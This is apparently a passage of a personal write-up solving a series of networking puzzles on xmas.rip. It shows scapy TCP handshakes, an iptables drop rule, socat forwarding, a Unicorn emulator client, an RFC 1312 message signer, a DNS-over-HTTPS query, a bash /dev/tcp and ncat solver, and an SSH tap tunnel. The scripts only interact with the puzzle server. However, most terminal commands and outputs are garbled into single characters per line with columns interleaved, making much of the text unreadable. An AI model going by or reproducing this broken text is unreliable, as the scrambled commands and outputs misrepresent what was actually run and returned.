send(ip/ TCP_ACK)
my_payload= "gugus"
TCP_PUSH= TCP(sport= 1500 , dport= 13 , flags= "PA" , seq= 102 , ack= my_ack)
response= sr1(ip/ TCP_PUSH/ my_payload)
print(response)
When this script is executed, the reserved bits are set to 1:
But the handshake was not successful. The system sends a TCP RST packet back when the SYN-ACK was received:
This is because the OS received the SYN-ACK packet and does not know what to do
with it (because not the OS but our scapy script performed the initial handshake
request). The following iptables rule drops the packet so that the system does
not send an RST packet back:
$
s
u
d
o
i
p
t
a
b
l
e
s
-
t
r
a
w
-
A
P
R
E
R
O
U
T
I
N
G
-
p
t
c
p
-
d
p
o
r
t
1
5
0
0
-
j
D
R
O
P
Execute the script again:
#
B
.
R
S
B
F
R
7
U
e
F
e
e
e
i
e
l
N
g
i
c
n
g
n
c
e
1
/
i
n
e
t
i
i
e
P
X
h
n
i
i
n
s
i
r
k
a
s
v
1
h
v
T
r
n
e
h
e
e
e
e
C
m
d
m
e
d
p
m
d
d
P
L
s
i
d
a
i
e
h
s
2
c
s
s
2
i
x
a
s
s
k
s
e
s
N
k
i
e
p
e
i
n
p
Q
e
o
n
a
t
o
d
a
s
C
n
d
c
s
n
i
c
o
Z
:
i
k
.
:
n
k
/
n
e
g
e
m
8
g
t
t
u
q
s
1
s
c
B
1
,
,
h
z
p
i
p
g
a
g
f
V
a
o
c
o
u
F
c
t
k
t
n
D
k
e
!
p
e
1
t
1
p
t
s
x
s
a
.
a
z
.
n
n
s
s
s
y
w
w
t
e
e
b
r
r
t
s
s
A
,
,
0
C
r
r
R
e
e
R
m
m
V
a
a
s
i
i
y
n
n
f
i
i
i
n
n
G
g
g
N
o
0
0
H
p
p
p
K
a
a
9
c
c
v
k
k
j
e
e
C
t
t
H
s
s
c
d
I
5
p
A
3
l
X
L
Z
The data in wireshark:
14/TCP#
Day 14:
Connecting via TCP and performing an HTTP request:
$
G
H
H
S
D
C
C
C
Y
E
o
T
e
a
o
o
o
n
T
s
T
r
t
n
n
n
U
c
t
P
e
t
t
n
/
:
/
e
:
e
e
e
N
x
1
r
n
n
c
O
m
H
x
.
:
F
t
t
t
a
T
m
1
r
-
-
i
S
s
T
a
n
i
T
L
o
S
.
P
s
4
g
,
y
e
n
L
r
/
.
0
i
p
n
:
?
i
1
r
0
n
1
e
g
!
p
.
i
x
4
:
t
c
^
1
p
B
h
l
C
1
a
D
t
:
o
4
d
e
e
s
c
x
1
e
R
t
2
e
2
/
q
0
p
u
1
l
e
8
a
s
i
t
2
n
3
:
0
0
:
1
6
G
M
T
Adding SSL:
$
G
H
H
S
D
C
C
C
C
H
H
W
C
E
o
T
e
a
o
o
o
o
e
o
a
o
n
T
s
T
r
t
n
n
n
n
y
w
n
m
c
t
P
e
t
t
n
t
,
n
e
a
/
:
/
e
:
e
e
e
e
a
e
t
1
r
n
n
c
n
g
r
b
H
x
.
:
F
t
t
t
t
l
e
d
a
T
m
1
r
-
-
i
-
a
o
c
-
T
a
n
i
T
L
o
T
d
y
k
s
P
s
2
g
,
y
e
n
y
o
s
s
/
.
0
i
p
n
:
p
y
u
o
w
l
1
r
0
n
1
e
g
e
o
m
i
.
i
x
4
:
t
k
:
u
d
e
t
x
1
p
O
h
e
o
t
h
m
K
D
t
:
e
t
f
i
h
a
e
e
p
e
o
n
i
s
s
c
x
1
-
x
u
g
n
o
.
t
0
a
t
n
?
g
m
r
2
/
1
l
/
d
e
i
0
p
i
p
c
p
1
l
v
l
m
r
S
8
a
e
a
e
a
S
1
i
i
!
z
H
4
2
n
n
y
!
3
^
:
t
C
0
o
0
d
:
a
4
y
2
?
!
G
?
M
T
Login via SSH:
$
T
E
N
A
W
s
P
H
h
C
o
r
a
a
T
a
s
e
D
e
r
n
Y
v
s
S
m
n
t
e
h
a
A
a
y
i
a
a
u
t
o
n
@
l
a
x
t
k
c
u
g
x
l
m
h
e
h
:
m
o
n
a
e
y
i
s
a
c
i
s
n
n
u
P
s
a
c
.
t
f
g
r
e
.
t
e
r
i
i
e
r
r
i
i
c
n
h
m
i
o
X
p
i
g
o
y
a
p
n
M
t
e
s
o
n
'
A
-
y
r
t
u
e
s
r
S
l
p
n
e
o
r
k
w
t
p
q
2
s
f
i
e
a
l
a
u
0
a
n
y
n
y
s
e
1
n
h
t
t
s
s
8
t
o
f
a
w
t
!
a
s
i
i
t
d
o
c
t
s
n
o
d
r
f
o
-
g
e
d
a
n
p
'
S
e
c
d
:
i
n
[
H
r
o
l
e
1
x
A
p
n
'
e
c
4
m
2
r
t
[
d
t
a
5
i
i
x
i
s
6
n
n
m
o
.
:
t
u
a
n
r
t
e
s
i
I
f
.
t
p
A
o
c
r
o
]
u
u
o
i
:
w
n
n
p
x
1
3
d
n
]
m
4
O
e
:
a
M
i
c
1
s
(
m
n
t
4
.
[
g
i
,
r
5
x
D
n
[
i
1
s
N
g
5
p
.
w
S
1
7
1
.
(
.
c
5
l
y
7
l
.
0
e
5
o
6
T
s
.
s
8
x
6
e
.
o
n
8
d
2
c
o
.
.
2
+
)
2
7
T
?
2
]
L
7
:
F
y
]
1
U
e
:
4
V
s
1
)
H
4
'
W
'
P
c
4
(
a
T
E
n
r
C
'
x
D
t
u
S
C
A
b
3
)
e
T
n
t
e
5
o
s
o
t
0
t
a
S
h
b
0
e
l
.
i
l
s
i
h
s
e
t
d
.
o
f
k
n
o
w
n
h
o
s
t
s
.
15/TCP#
Day 15:
Using a simple WebSocket page from https://github.com/ethicalhack3r/scripts/blob/master/WebSockets.html .
It’s not possible to directly connect to the port 15:
Forwarding the local port 80 to port 15 on xmas.rip using socat:
$
s
u
d
o
s
o
c
a
t
T
C
P
-
L
I
S
T
E
N
:
8
0
,
f
o
r
k
T
C
P
-
C
O
N
N
E
C
T
:
x
m
a
s
.
r
i
p
:
1
5
Now it works:
16/TCP#
Day16:
Connect to the port:
#
W
Y
Y
^
e
o
o
C
n
l
u
u
c
c
r
r
a
o
t
m
f
A
e
i
n
x
r
s
m
t
s
w
a
o
t
e
s
r
.
S
C
r
a
h
f
i
n
a
o
p
t
l
r
a
l
1
s
e
E
6
n
A
U
g
X
n
e
?
i
:
c
i
o
s
r
>
n
1
.
V
.
G
.
u
h
m
m
m
R
e
i
n
d
e
e
r
S
e
r
v
e
r
.
T
h
i
s
i
s
a
b
i
n
a
r
y
c
h
a
l
l
e
n
g
e
;
-
)
.
There is some binary code after the string “Your first Challenge is”:
#
0
0
0
0
0
0
0
0
0
0
0
^
0
0
0
0
0
0
0
0
0
0
0
C
n
0
0
0
0
0
0
0
0
0
0
0
c
0
0
0
0
0
0
0
0
0
0
0
a
0
0
0
0
0
0
0
0
0
0
0
t
0
0
0
0
0
0
0
0
0
0
0
0
1
2
3
4
5
6
7
8
9
a
x
0
0
0
0
0
0
0
0
0
0
0
m
:
:
:
:
:
:
:
:
:
:
:
a
s
5
7
6
6
6
2
6
5
c
e
7
.
7
3
d
5
e
d
8
8
1
8
5
r
6
2
6
7
6
2
6
c
f
0
7
i
5
0
d
2
1
9
1
1
8
e
2
p
6
5
2
2
7
2
6
d
4
8
2
1
c
5
0
e
2
e
c
0
0
3
0
6
6
6
5
2
7
0
6
2
8
c
4
3
e
2
0
9
a
c
c
3
0
1
|
6
6
6
5
2
5
6
8
e
0
6
x
f
9
5
4
0
9
5
3
8
4
e
x
6
6
6
6
6
6
6
c
3
c
7
d
d
3
9
8
3
f
e
0
e
1
3
6
6
6
6
6
7
6
3
c
d
7
5
f
e
9
8
5
7
b
1
8
7
2
7
6
7
6
7
6
c
d
2
6
0
2
4
3
1
2
5
1
0
b
5
7
6
6
2
6
2
2
d
2
c
7
4
e
5
0
c
0
0
8
0
1
2
6
2
6
6
6
6
6
1
c
e
2
f
e
5
9
c
6
9
1
1
8
0
2
2
7
7
6
6
7
c
f
5
6
0
e
2
3
5
9
3
1
8
b
6
5
2
2
2
6
7
3
d
3
0
6
3
e
0
0
e
2
e
0
6
a
f
6
2
5
6
6
7
3
4
c
0
7
1
0
3
1
7
3
1
6
1
a
2
6
7
6
2
6
7
c
8
f
0
2
e
5
5
0
5
4
0
3
8
a
0
7
6
7
6
2
2
c
c
2
5
4
4
8
2
2
0
0
1
0
0
9
5
6
6
7
6
3
4
d
3
8
6
4
1
d
6
9
b
3
8
9
3
f
1
W
s
m
e
n
h
X
u
e
m
r
a
a
.
.
r
l
U
.
r
l
.
@
c
n
R
y
.
l
,
.
A
o
i
e
T
Y
e
.
.
n
m
c
i
h
c
o
n
.
>
s
e
o
n
i
h
u
g
;
.
w
r
d
s
a
r
e
.
.
e
t
n
e
l
.
r
o
.
e
i
l
f
i
.
.
.
r
s
e
i
s
.
.
[
f
S
.
n
r
>
.
6
.
o
a
S
a
g
s
1
F
.
.
r
n
u
e
e
t
.
.
.
.
t
h
r
b
.
.
Y
E
a
m
v
i
;
C
.
9
o
A
A valid answer has to be given:
#
W
Y
U
Y
1
W
1
^
e
o
@
o
2
R
2
C
n
l
u
4
u
3
O
3
c
c
r
#
r
4
N
4
o
]
G
x
m
f
U
A
m
e
i
n
a
r
s
s
t
s
w
.
o
t
e
r
r
i
S
C
p
a
h
f
n
a
o
1
t
l
r
6
a
l
s
e
E
n
A
U
g
X
n
e
?
i
:
c
i
o
s
r
>
n
1
.
H
.
_
.
U
=
u
h
m
m
m
R
e
i
n
d
e
e
r
S
e
r
v
e
r
.
T
h
i
s
i
s
a
b
i
n
a
r
y
c
h
a
l
l
e
n
g
e
;
-
)
.
Installing Unicorn (a lightweight multi-platform, multi-architecture CPU emulator framework):
#
C
I
S
o
n
u
p
l
D
s
c
i
l
o
t
c
p
e
w
1
a
e
c
n
0
l
s
i
t
l
0
l
s
n
i
o
%
i
f
s
n
a
n
u
t
g
d
|
g
l
a
i
█
l
l
u
n
█
c
y
l
n
g
█
o
i
█
l
i
u
c
h
█
l
n
n
o
t
█
e
s
i
r
t
█
c
t
c
n
p
█
t
a
o
s
█
e
l
r
:
█
d
l
n
/
█
e
/
█
p
d
f
█
a
i
█
c
u
l
█
k
n
e
█
a
i
s
█
g
c
.
█
e
o
p
█
s
r
y
█
:
n
t
█
-
h
█
u
1
o
█
n
.
n
█
i
0
h
█
c
.
o
█
o
1
s
█
r
t
█
n
e
█
d
█
.
█
o
█
r
|
g
/
1
p
8
a
.
c
2
k
M
a
B
g
e
4
s
9
/
k
7
B
f
s
4
4
/
e
6
d
d
1
3
4
b
d
7
c
c
2
d
c
c
c
8
3
e
5
7
c
e
4
3
5
8
8
1
b
4
5
2
a
0
4
a
d
5
4
1
2
8
3
6
b
a
8
a
8
e
6
d
b
9
8
d
c
0
/
u
n
i
c
o
r
n
-
1
.
0
.
1
-
p
y
2
.
p
y
3
-
n
o
n
e
-
m
a
n
y
l
i
n
u
x
1
_
x
8
6
_
6
4
.
w
h
l
(
1
8
.
2
M
B
)
Download the code sample:
#
1
0
c
%
0
u
r
T
l
o
1
t
0
a
4
l
8
d
a
1
y
0
1
%
0
6
R
-
e
1
L
c
0
e
4
h
i
8
t
v
t
e
p
d
:
/
%
0
/
w
X
w
f
w
e
.
r
u
d
0
n
i
c
A
D
o
v
l
6
r
e
o
9
n
r
a
4
-
a
d
0
e
g
n
e
g
U
i
S
p
n
p
l
e
e
o
.
e
a
0
o
d
d
r
g
-
/
:
s
T
T
-
a
i
o
-
m
m
t
:
p
e
a
-
l
l
-
e
s
/
-
t
T
S
:
e
i
p
-
s
m
e
-
t
e
n
:
1
t
-
.
-
p
y
-
T
L
:
i
e
-
m
f
-
e
t
:
-
-
C
S
u
p
r
e
6
r
e
9
e
d
4
n
0
t
Delete some code that is not needed and adding some code that connects to the server, executes the bytecode and sends back the result:
#!/usr/bin/env python
from __future__ import print_function
from unicorn import *
from unicorn.x86_const import *
import socket
import re
def main ():
host = 'xmas.rip'
port = 16
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. connect((host,port))
while True :
data = s. recv(1024 )
print(data)
data = s. recv(1024 )
print(data)
if "code" not in data and "EAX" not in data:
exit()
result = re. search("is(.*) \n\n\n Your" , data)
x86code = result. group(1 )
print("Code: :" + x86code)
emulated = emulate_code(x86code)
print("EAX Register:" + str(emulated))
s. send(str(emulated))
continue
def emulate_code (x86code):
# memory address where emulation starts
ADDRESS = 0x1000000
print("Emulate i386 code" + x86code)
try :
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu. mem_map(ADDRESS, 2 * 1024 * 1024 )
# write machine code to be emulated to memory
mu. mem_write(ADDRESS, x86code)
# initialize machine register EAX
mu. reg_write(UC_X86_REG_EAX, 0x0000 )
# emulate code in infinite time & unlimited instructions
mu. emu_start(ADDRESS, ADDRESS + len(x86code))
r_eax = mu. reg_read(UC_X86_REG_EAX)
return int(r_eax)
except UcError as e:
print("ERROR: %s " % e)
if __name__ == '__main__' :
main()
Execute the script:
#
W
Y
Y
C
E
E
W
Y
Y
C
E
E
F
e
o
o
o
m
A
o
o
o
o
m
A
s
l
u
u
d
u
X
w
u
u
d
u
X
`
8
/
c
r
r
e
l
r
r
e
l
"
`
"
O
d
o
:
a
R
y
:
a
R
.
"
`
u
a
m
f
A
t
e
o
s
A
t
e
"
"
q
y
e
i
n
:
e
g
u
e
n
:
e
g
.
`
`
y
1
r
s
>
i
r
c
s
>
i
"
`
"
m
6
t
s
w
1
i
s
o
w
1
i
s
`
"
=
"
"
`
j
o
t
e
3
t
f
n
e
-
3
t
"
.
.
"
"
q
r
=
8
e
i
d
r
X
8
e
=
"
_
"
"
`
v
S
C
\
6
r
r
@
6
r
.
.
"
`
"
p
a
h
f
;
:
s
c
f
#
:
_
"
=
`
`
A
n
a
o
@
c
5
t
h
o
6
c
2
"
.
.
"
S
t
l
r
@
o
4
a
r
o
5
"
=
"
_
"
f
a
l
I
d
8
c
l
d
6
"
.
.
"
`
v
s
e
E
.
e
8
h
l
E
e
"
"
=
"
n
n
A
H
>
6
a
e
A
>
.
.
.
.
`
n
U
g
X
C
1
4
l
n
X
1
"
_
"
=
Z
n
e
?
-
l
g
?
-
.
"
.
"
e
i
:
=
e
e
:
X
"
`
v
c
i
\
n
@
.
"
`
S
o
s
;
g
i
#
"
"
`
"
4
r
>
@
e
s
6
`
=
:
|
_
`
4
n
1
@
>
{
{
-
.
_
p
.
I
w
1
_
`
K
.
=
.
a
-
_
"
M
.
\
H
s
X
_
`
`
5
;
C
@
_
"
`
1
u
@
-
c
#
.
.
Y
O
h
@
o
6
.
.
_
`
t
m
I
r
"
"
~
`
`
"
E
m
.
r
_
_
.
"
`
q
m
H
e
,
.
_
.
"
x
C
c
-
^
~
"
M
R
-
t
,
_
.
"
F
e
_
_
.
"
z
i
;
'
"
~
`
`
`
M
n
-
.
.
"
4
d
)
_
.
`
z
e
"
`
Y
P
e
j
`
w
r
u
R
s
_
`
Q
S
t
"
}
}
-
.
"
2
e
.
\
`
`
=
:
|
`
n
r
t
`
\
"
"
_
e
v
o
\
.
`
`
y
e
"
`
"
"
U
r
b
.
"
.
"
-
`
o
.
e
"
"
=
f
.
.
.
E
T
s
"
"
=
_
`
6
h
u
.
.
"
"
O
i
r
=
"
0
s
e
"
.
.
U
"
=
R
i
y
.
.
"
`
v
s
o
=
"
"
T
u
"
.
.
`
j
a
`
"
=
l
h
"
`
G
b
a
.
"
O
i
d
"
`
y
n
.
a
n
"
`
r
o
"
y
`
l
c
u
h
c
a
k
l
l
l
e
e
n
t
g
s
e
t
;
r
-
y
)
.
a
n
o
t
h
e
r
o
n
e
TCP stream in wireshark (the dots in the ASCII dump represent non-printable characters):
17/TCP#
Day 17:
This challenge is about an authentication protocol for TLS:
Curl supports SRP:
$
T
L
c
S
u
-
r
S
l
R
"
P
"
-
k
i
s
j
`
g
-
s
'
s
t
u
`
'
l
p
=
'
"
`
s
e
=
`
"
"
a
r
=
-
"
"
u
=
`
.
|
`
t
n
'
.
`
|
h
i
`
;
;
,
t
c
y
e
p
,
'
[
~
e
=
~
w
=
~
`
s
h
=
~
~
r
o
=
~
`
'
p
=
O
~
n
=
~
~
'
e
\
~
~
-
e
_
~
~
`
t
d
\
~
~
l
s
o
]
~
s
u
t
s
h
`
;
;
,
e
o
'
-
`
r
s
,
.
e
_
s
,
;
a
s
`
n
t
.
;
t
u
`
_
.
a
p
_
i
/
"
d
"
-
"
t
c
l
e
s
r
p
t
a
i
s
f
s
i
"
w
c
"
o
a
r
t
d
e
s
2
4
a
1
n
2
y
2
w
0
a
1
y
8
?
!
h
t
t
p
s
:
/
/
x
m
a
s
.
r
i
p
:
1
7
No server certificate is sent to the client in the server hello TLS message:
The client tells the server that he likes to do SRP by choosing appropriate cipher suites. The username is also sent in the client hello to the server:
18/UDP#
Day 18:
The message has to be correctly formatted:
#
t
I
^
e
n
C
n
s
v
c
t
a
a
l
t
i
d
-
u
m
e
x
s
m
s
a
a
s
g
.
e
r
i
f
p
o
r
1
m
8
a
t
A message according to RFC 1312 (https://tools.ietf.org/html/rfc1312 h) has to be created:
Parts of the message:
revision
recipient + nullbyte
recipterm + nullbyte
message + nullbyte
sender + nullbyte
senderterm + nullbyte
cookie + nullbyte
signature + nullbyte
Example from the RFC:
Building such a message and send it to the server:
#
-
I
(
n
e
v
c
a
h
l
o
i
d
-
e
s
i
"
g
B
n
s
a
a
t
n
u
t
r
a
e
\
x
x
0
x
0
\
x
0
0
H
i
\
x
0
0
s
a
n
d
y
\
x
0
0
s
o
s
o
\
x
0
0
s
s
\
x
0
0
x
x
\
x
0
0
"
;
s
l
e
e
p
1
)
|
n
c
a
t
-
u
x
m
a
s
.
r
i
p
1
8
Now, we have to calculate the signature. The following script was created:
#!/usr/bin/env python3
import socket
import hashlib
def main ():
host = "51.75.68.227"
port = 18
myip = "178.194.102.109"
revision = "B"
recipient = "santa"
recipterm = ""
message = "secret"
sender = "santa"
senderterm = "x"
cookie = "1"
signature = ""
signature = generate_signature(myip, sender)
data = revision \
+ recipient + ' \x00 ' \
+ recipterm + ' \x00 ' \
+ message + ' \x00 ' \
+ sender + ' \x00 ' \
+ senderterm + ' \x00 ' \
+ cookie + ' \x00 ' \
+ signature + ' \x00 '
print("Message: " + data)
sock = socket. socket(socket. AF_INET, socket. SOCK_DGRAM)
sock. sendto(data. encode(), (host,port))
data, addr = sock. recvfrom(1024 )
print (str(data, "utf-8" ))
def generate_signature (addr, sender):
source_ip = addr
blake = hashlib. blake2b(digest_size= 18 )
blake. update(source_ip. encode())
blake. update(sender. encode())
blake. update(b 'XMAS2018' )
return blake. hexdigest()
if __name__ == '__main__' :
main()
The message was accepted:
#
M
+
f
e
M
4
s
e
i
/
s
s
0
d
a
s
5
a
g
a
5
y
e
g
G
1
:
e
r
8
z
B
d
I
s
e
j
a
l
g
n
i
q
t
v
p
a
e
E
s
r
4
e
e
i
c
d
2
r
K
e
t
p
t
o
N
s
L
a
S
3
n
a
n
t
n
r
a
t
1
x
a
E
1
,
o
2
h
0
h
S
2
a
G
f
v
y
6
e
J
2
D
5
a
V
4
w
3
n
L
3
i
A
4
c
5
0
e
E
3
M
3
X
X
2
M
H
c
A
v
6
S
l
e
!
V
7
1
f
/
4
K
4
4
8
0
7
2
0
E
7
R
2
I
9
2
a
X
9
x
3
G
4
s
a
t
8
o
b
v
f
v
19/TCP#
Day 19:
Connect to the port and save the output in a file:
#
P
I
[
N
H
.
n
G
D
.
c
\
.
a
r
]
t
f
t
x
I
m
D
a
A
s
T
.
x
r
]
i
w
p
|
T
1
U
9
%
L
|
:
t
e
e
B
f
E
i
4
l
]
e
W
2
w
The file is an image:
$
f
i
f
l
i
e
l
2
e
:
f
P
i
N
l
G
e
2
i
m
a
g
e
d
a
t
a
,
2
5
6
x
2
5
6
,
8
-
b
i
t
/
c
o
l
o
r
R
G
B
A
,
n
o
n
-
i
n
t
e
r
l
a
c
e
d
Display the image:
Sending back the number from the image ( 65817752) reveals the secret:
#
P
I
[
6
Y
d
^
N
H
.
5
o
Q
C
n
G
D
.
8
u
f
c
\
.
1
X
a
r
]
7
g
P
t
f
7
o
g
t
5
t
F
x
I
2
z
m
D
i
P
a
A
t
u
s
T
!
m
.
x
!
J
r
]
I
i
w
j
p
|
V
T
v
1
U
r
9
%
N
L
l
|
:
8
6
t
c
e
K
e
D
B
i
f
E
E
i
4
9
l
]
7
e
W
K
2
w
H
u
B
R
O
n
2
Q
U
u
6
Y
Z
n
0
Z
C
l
z
N
V
3
P
j
8
6
u
B
R
e
Q
0
j
S
C
20/TCP#
Day 20:
In DNS over HTTPS, the DNS request can be provided base64 encoded in the GET request:
The encoded data itself is a DNS payload as it would be for a normal DNS request (DNS on-the-wire format):
Creating such a message ( TXT record of xmas) using scapy and sending it to the server (using HTTP/2 and TLS):
#!/usr/bin/env python3
from scapy.all import *
from hyper import HTTPConnection
query = base64. b64encode(bytes(DNS(qd= DNSQR(qname= "xmas" , qtype= "TXT" )))). decode("utf-8" )
print("Binary query: " + query)
conn = HTTPConnection(host= 'xmas.rip' , port= 20 , secure= True )
conn. request('GET' , '/dns-query?dns=' + query)
resp = conn. get_response(). read()
print("Binary response: " + str(resp))
print("Parsed response:" )
test = DNS(resp)
test. show()
The secret can be seen in the DNS resposne:
#
B
B
P
#
i
i
a
#
n
n
r
#
i
q
o
a
t
r
r
z
a
c
r
q
a
n
a
\
\
n
a
/
a
a
s
[
d
r
p
a
c
d
a
d
d
c
d
n
s
r
q
a
s
r
d
r
r
e
c
o
c
c
c
c
d
#
n
#
a
y
y
d
D
o
d
o
o
o
o
#
#
y
N
d
e
u
u
u
u
#
q
q
q
#
r
t
r
t
r
r
1
q
r
r
S
e
n
n
n
n
[
n
t
c
[
r
y
c
t
d
d
7
u
e
e
t
t
t
t
a
y
l
n
p
l
l
l
a
e
s
s
]
D
m
p
a
D
a
e
a
e
t
r
p
p
#
N
e
e
s
N
m
s
n
a
y
o
o
#
S
s
S
e
s
:
n
n
#
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
s
s
Q
R
A
e
e
0
1
Q
1
0
1
1
0
0
0
o
1
1
0
0
u
e
N
N
A
:
:
U
k
e
s
o
o
A
E
s
=
=
=
o
=
=
=
=
=
=
n
n
B
b
R
t
u
e
e
A
'
Y
i
'
T
I
r
'
T
I
0
1
'
A
\
o
x
X
N
c
x
X
N
0
H
A
x
n
m
T
e
m
T
2
a
B
0
a
a
p
A
0
R
s
R
s
p
A
\
e
.
e
.
y
A
x
c
'
c
'
A
0
o
o
X
A
0
r
r
M
A
\
d
d
A
A
x
S
A
8
]
]
B
5
#
#
2
H
\
#
#
0
h
x
#
#
1
t
8
8
Y
0
!
X
\
M
x
H
A
0
e
A
0
r
B
\
e
A
x
A
0
i
A
1
s
Q
\
=
x
t
=
0
h
0
e
\
x
s
0
e
1
c
\
r
x
e
0
t
0
:
\
x
N
0
W
0
2
\
O
x
D
0
B
0
0
\
l
x
a
0
I
0
0
\
s
x
y
0
o
4
z
x
U
m
6
a
X
s
r
\
5
x
g
0
J
0
x
\
k
x
F
0
K
0
e
\
n
x
Z
1
+
0
f
\
X
x
i
0
L
0
q
\
/
x
g
0
g
1
A
\
C
x
L
c
W
0
8
\
q
x
Z
0
I
c
S
\
F
x
h
0
u
0
9
\
C
x
3
1
0
0
F
\
+
x
H
0
K
0
L
\
6
x
X
0
6
1
Y
\
4
x
'
0
0
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
0
f
e
H
a
p
p
y
X
M
A
S
2
0
1
8
!
H
e
r
e
i
s
t
h
e
s
e
c
r
e
t
:
N
W
2
O
D
B
0
l
a
I
0
s
y
o
z
U
6
X
r
5
g
J
x
k
F
K
e
n
Z
+
f
X
i
L
q
/
g
g
A
C
L
W
8
q
Z
I
S
F
h
u
9
C
3
0
F
+
H
K
L
6
X
6
Y
4
'
21/UDP#
Day 21:
I did not solve this task. I had some problems setting up the go environment.
22/TCP#
Day 22:
When a connection to the port is established, a message says to which service you have to connect and which data you have to send. This is different every time and you don’t have much time:
$
p
F
$
p
^
$
p
^
$
p
^
r
A
r
C
r
C
r
C
n
o
I
n
o
n
o
n
o
c
t
L
c
t
c
t
c
t
a
o
E
a
o
a
o
a
o
t
c
D
t
c
t
c
t
c
o
^
o
o
o
x
l
C
x
l
x
l
x
l
m
m
m
m
a
=
a
=
a
=
a
=
s
s
s
s
.
s
.
s
.
s
.
t
r
c
r
c
r
c
r
c
i
t
i
t
i
t
i
p
p
p
p
p
p
p
p
,
,
,
,
2
2
2
2
p
2
p
2
p
2
p
2
o
o
o
o
r
r
r
r
t
t
t
t
=
=
=
=
2
2
2
2
1
1
1
1
5
3
6
4
0
9
9
1
,
,
,
,
m
m
m
m
a
a
a
a
g
g
g
g
i
i
i
i
c
c
c
c
s
s
s
s
t
t
t
t
r
r
r
r
i
i
i
i
n
n
n
n
g
g
g
g
=
=
=
=
V
0
B
7
9
Q
R
9
4
0
H
Q
9
1
6
L
3
Z
W
3
A
D
B
M
T
J
F
R
O
I
4
J
Q
5
U
W
N
T
X
6
Bash script for solving this task:
#!/usr/bin/env bash
host= "51.75.68.227"
main(){
echo "[*] Connecting to $host on port 22..."
exec 3<> /dev/tcp/$host/22
IFS= ''
while read -u 3 "task"
do
if [[ " $task" = ~ ^protocol ]]
then
echo
echo "[*] Task: $task"
IFS= " " read x x protocol x x port x x x magicstring <<< " $task"
protocol= ${ protocol/,/}
port= ${ port/,/}
magicstring= ${ magicstring/,/}
echo "Protocol: $protocol"
echo "Port: $port"
echo "String: $magicstring"
send_string " $protocol" " $port" " $magicstring"
else
echo " $task"
fi
done <&3
echo "[*] Finished."
}
send_string(){
protocol= " $1"
port= " $2"
magicstring= " $3"
case $protocol in
"tcp" )
echo "[*] TCP..."
echo " $magicstring" | ncat -v " $host" " $port"
;;
"udp" )
echo "[*] UDP..."
echo " $magicstring" | ncat -v --udp " $host" " $port"
;;
"sctp" )
echo "[*] SCTP..."
echo " $magicstring" | ncat -v --sctp " $host" " $port"
;;
esac
}
main
Execute the script:
#
[
[
P
P
S
[
N
N
N
[
P
P
S
[
N
N
N
[
P
P
S
[
N
N
N
[
*
*
r
o
t
*
c
c
c
*
r
o
t
*
c
c
c
*
r
o
t
*
c
c
c
*
]
]
o
r
r
]
a
a
a
]
o
r
r
]
a
a
a
]
o
r
r
]
a
a
a
]
/
t
t
i
t
t
t
t
t
i
t
t
t
t
t
i
t
t
t
d
C
T
o
:
n
U
:
:
:
T
o
:
n
T
:
:
:
T
o
:
n
T
:
:
:
:
F
a
o
a
c
g
D
a
c
g
C
a
c
g
C
-
i
y
n
s
o
2
:
P
V
C
1
s
o
2
:
P
V
C
1
s
o
2
:
P
V
C
1
:
:
>
n
2
n
k
l
1
.
e
o
1
k
l
1
.
e
o
1
k
l
1
.
e
o
1
o
~
o
:
@
:
i
2
e
:
:
3
Q
.
r
n
:
:
9
1
.
r
n
:
:
8
Q
.
r
n
|
<
s
c
9
U
.
s
n
b
2
E
.
s
n
b
3
0
.
s
n
b
-
h
t
p
u
7
i
e
y
p
t
L
i
e
y
p
t
K
i
e
y
:
e
i
r
d
2
o
c
t
r
c
T
o
c
t
r
c
Y
o
c
t
.
>
'
d
n
o
p
4
n
t
e
o
p
R
n
t
e
o
p
Z
n
t
e
:
O
:
.
g
t
C
e
s
t
G
e
s
t
H
e
s
.
<
'
o
R
7
d
o
E
7
d
o
O
7
d
t
c
C
.
s
c
8
.
s
c
Y
.
s
o
o
M
7
t
e
o
Z
7
t
e
o
I
7
t
e
l
C
0
o
n
l
P
0
o
n
l
D
0
o
n
o
~
o
5
t
t
t
-
:
:
1
=
(
5
,
=
(
5
,
=
(
5
,
=
.
1
1
1
=
7
u
h
.
0
t
h
.
0
t
h
.
0
>
5
d
t
7
c
t
7
c
t
7
:
.
.
p
t
5
b
p
t
5
b
p
t
5
b
6
,
p
.
y
,
p
.
y
,
p
.
y
X
'
~
8
s
6
t
s
6
t
s
6
t
.
=
~
.
p
:
8
e
p
:
8
e
p
:
8
e
:
=
'
2
o
/
.
s
o
/
.
s
o
/
.
s
<
.
2
r
2
r
2
r
2
=
.
_
/
:
:
7
t
n
2
r
t
n
2
r
t
n
2
r
=
:
/
~
m
7
e
m
7
e
m
7
e
-
:
:
~
o
=
a
:
c
=
a
:
c
=
a
:
c
:
n
p
2
e
p
2
e
p
2
e
'
'
.
2
.
1
i
2
.
1
i
2
.
1
i
.
=
p
1
o
3
v
1
o
9
v
1
o
8
v
=
'
o
3
r
9
e
9
r
2
e
8
r
3
e
.
r
9
g
.
d
2
g
.
d
3
g
.
d
_
t
,
,
,
n
i
n
i
n
i
2
m
c
n
m
c
n
m
c
n
2
a
a
a
a
a
a
.
g
t
0
g
t
0
g
t
0
.
i
.
i
.
i
.
.
c
)
0
c
)
1
c
)
1
3
2
3
s
s
s
-
t
s
t
s
t
s
=
r
e
r
e
r
e
>
i
c
i
c
i
c
>
'
n
o
n
o
n
o
:
:
g
n
g
n
g
n
.
.
:
d
d
d
:
:
>
:
=
s
=
s
=
s
:
'
.
.
.
:
:
<
/
Q
1
Q
.
:
:
o
U
E
0
:
'
7
L
K
<
2
T
Y
<
4
R
Z
=
C
G
H
-
R
E
O
C
8
Y
M
Z
I
C
P
D
-
X
-
-
<
Wireshark:
23/TCP#
Creating an ethernet tunnel over SSH:
#
s
a
s
n
s
t
h
a
@
-
x
4
m
a
-
s
l
.
r
s
i
a
p
n
'
t
s
a
p
-
a
p
s
s
2
w
3
o
r
x
d
m
:
a
s
.
r
i
p
T
u
n
n
e
l
=
e
t
h
e
r
n
e
t
-
N
-
w
1
:
1
A new TAP ethernet device is created:
#
1
0
i
:
p
t
l
a
a
i
p
n
l
1
k
:
/
t
e
a
t
p
m
h
1
t
e
u
r
1
5
5
e
0
:
0
2
6
q
:
d
